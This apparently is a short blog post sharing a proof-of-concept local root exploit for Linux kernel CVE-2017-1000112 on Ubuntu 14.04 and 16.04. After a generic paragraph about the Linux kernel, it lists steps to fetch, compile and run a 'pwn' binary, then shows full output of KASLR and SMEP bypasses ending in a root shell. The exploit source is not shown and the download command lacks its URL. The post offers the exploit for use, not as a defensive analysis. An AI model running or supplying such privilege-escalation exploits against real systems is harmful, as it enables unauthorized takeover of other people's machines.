Linux Kernel Exploit 2017 - 4.4.0-83 / 4.8.0-58 (Ubuntu 14.04 and 16.04) Local Privilege Escalation. - Newbie Researcher

Hello guys this time I will share Linux Kernel Exploit 2017 - 4.4.0-83 / 4.8.0-58 (Ubuntu 14.04 and 16.04) Local Privilege Escalation and Proof of concept.

Whats is Linux Kernel ?

The Linux kernel is an open-source monolithic Unix-like computer operating system kernel. The Linux family of operating systems is based on this kernel and deployed on both traditional computer systems such as personal computers and servers, usually in the form of Linux distributions, and on various embedded devices such as routers, wireless access points, PBXes, set-top boxes, FTA receivers, smart TVs, PVRs, and NAS appliances. The Android operating system for tablet computers, smartphones, and smartwatches uses services provided by the Linux kernel to implement its functionality. While the adoption on desktop computers is low, Linux-based operating systems dominate nearly every other segment of computing, from mobile devices to mainframes. As of November 2017, all of the world's 500 most powerful supercomputers run Linux.


Proof of Concept :

Kernel Exploits is A bunch of proof-of-concept exploit for the Linux kernel.

Exploit Lists :

[ - ] CVE-2017-1000112
Includes KASLR and SMEP bypasses. No SMAP bypass.

A proof-of-concept local root exploit for CVE-2017-1000112, Tested on Ubuntu trusty 4.4.0-* and Ubuntu xenial 4-8-0-* kernels

Usage:

Examples:
user@ubuntu:~$ wget
user@ubuntu:~$ gcc pwn.c -o pwn
user@ubuntu:~$ chmod +x pwn
user@ubuntu:~$ ./pwn

[.] starting
[.] checking distro and kernel versions
[.] kernel version '4.8.0-58-generic' detected
[~] done, versions looks good
[.] checking SMEP and SMAP
[~] done, looks good
[.] setting up namespace sandbox
[~] done, namespace sandbox set up
[.] KASLR bypass enabled, getting kernel addr
[~] done, kernel text:   ffffffffae400000
[.] commit_creds:        ffffffffae4a5d20
[.] prepare_kernel_cred: ffffffffae4a6110
[.] SMEP bypass enabled, mmapping fake stack
[~] done, fake stack mmapped
[.] executing payload ffffffffae40008d
[~] done, should be root now
[.] checking if we got root
[+] got r00t ^_^

root@ubuntu:/home/user# id
uid=0(root) gid=0(root) groups=0(root)

Dont forget to share and see you next time~